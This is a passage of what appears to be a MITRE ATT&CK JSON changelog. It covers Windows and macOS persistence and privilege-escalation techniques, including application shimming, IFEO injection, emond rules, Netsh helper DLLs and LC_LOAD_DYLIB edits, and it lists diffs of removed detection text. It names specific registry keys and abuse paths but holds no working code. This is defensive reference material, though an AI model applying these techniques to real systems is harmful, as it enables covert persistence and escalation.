more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/011", + "external_id": "T1546.011" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "FireEye Application Shimming", + "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.", + "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf" + }, + { + "source_name": "Black Hat 2015 App Shim", + "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", + "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Module: Module Load\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.703000+00:00\", \"old_value\": \"2025-04-25 14:46:29.459000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\\n\\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\\n* Shim-Detector-Lite - detects installation of custom shim databases\\n* Shim-Guard - monitors registry for any shim installations\\n* ShimScanner - forensic tool to find active shims in memory\\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\\n\\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\\n-\\n-* Shim-Process-Scanner - checks memory of every running process for any shim flags\\n-* Shim-Detector-Lite - detects installation of custom shim databases\\n-* Shim-Guard - monitors registry for any shim installations\\n-* ShimScanner - forensic tool to find active shims in memory\\n-* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\\n-\\n-Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1051: Update Software", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0017: Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 13:40:47.282000+00:00", + "modified": "2025-10-24 17:49:07.854000+00:00", + "name": "Change Default File Association", + "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/001", + "external_id": "T1546.001" + }, + { + "source_name": "Microsoft Change Default Programs", + "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.", + "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" + }, + { + "source_name": "Microsoft File Handlers", + "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015" + }, + { + "source_name": "Microsoft Assoc Oct 2017", + "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc" + }, + { + "source_name": "TrendMicro TROJ-FAKEAV OCT 2012", + "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.854000+00:00\", \"old_value\": \"2025-04-15 19:58:52.605000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\\n\\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\\n\\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\\n-\\n-User file association preferences are stored under [HKEY_CURRENT_USER]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\\n-\\n-Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0061: Detect Default File Association Hijack via Registry & Execution Correlation on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 15:15:13.426000+00:00", + "modified": "2025-10-24 17:49:08.766000+00:00", + "name": "Emond", + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/014", + "external_id": "T1546.014" + }, + { + "source_name": "magnusviri emond Apr 2016", + "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.", + "url": "http://www.magnusviri.com/Mac/what-is-emond.html" + }, + { + "source_name": "xorrior emond Jan 2018", + "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.", + "url": "https://www.xorrior.com/emond-persistence/" + }, + { + "source_name": "sentinelone macos persist Jun 2019", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Ivan Sinyakov" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.766000+00:00\", \"old_value\": \"2025-04-16 20:37:18.374000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0555: Detection Strategy for Event Triggered Execution via emond on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 15:05:58.384000+00:00", + "modified": "2025-10-24 17:48:55.526000+00:00", + "name": "Image File Execution Options Injection", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/012", + "external_id": "T1546.012" + }, + { + "source_name": "FSecure Hupigon", + "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", + "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "Microsoft Silent Process Exit NOV 2017", + "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit" + }, + { + "source_name": "Microsoft GFlags Mar 2017", + "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview" + }, + { + "source_name": "Oddvar Moe IFEO APR 2018", + "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", + "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/" + }, + { + "source_name": "Microsoft Dev Blog IFEO Mar 2010", + "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", + "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/" + }, + { + "source_name": "Symantec Ushedix June 2008", + "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" + }, + { + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.526000+00:00\", \"old_value\": \"2025-04-15 19:58:39.823000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n\\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\\n-\\n-Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0422: Detection Strategy for IFEO Injection on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:21:52.750000+00:00", + "modified": "2025-10-24 17:48:25.182000+00:00", + "name": "LC_LOAD_DYLIB Addition", + "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/006", + "external_id": "T1546.006" + }, + { + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Metadata\", \"Process: Process Creation\", \"File: File Modification\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.182000+00:00\", \"old_value\": \"2025-04-16 20:37:15.460000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1045: Code Signing", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0216: Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 14:26:51.207000+00:00", + "modified": "2025-10-24 17:49:37.405000+00:00", + "name": "Netsh Helper DLL", + "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1546/007", + "external_id": "T1546.007" + }, + { + "source_name": "Demaske Netsh Persistence", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + }, + { + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "source_name": "Github Netsh Helper CS Beacon", + "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.", + "url": "https://github.com/outflankbv/NetshHelperBeacon" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.405000+00:00\", \"old_value\": \"2025-04-16 20:37:23.142000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\\\SOFTWARE\\\\Microsoft\\\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0575: Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-24 15:11:02.758000+00:00", + "modified": "2025-10-24 17:48:24.124000+00:00", + "name": "PowerShell Profile", + "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also 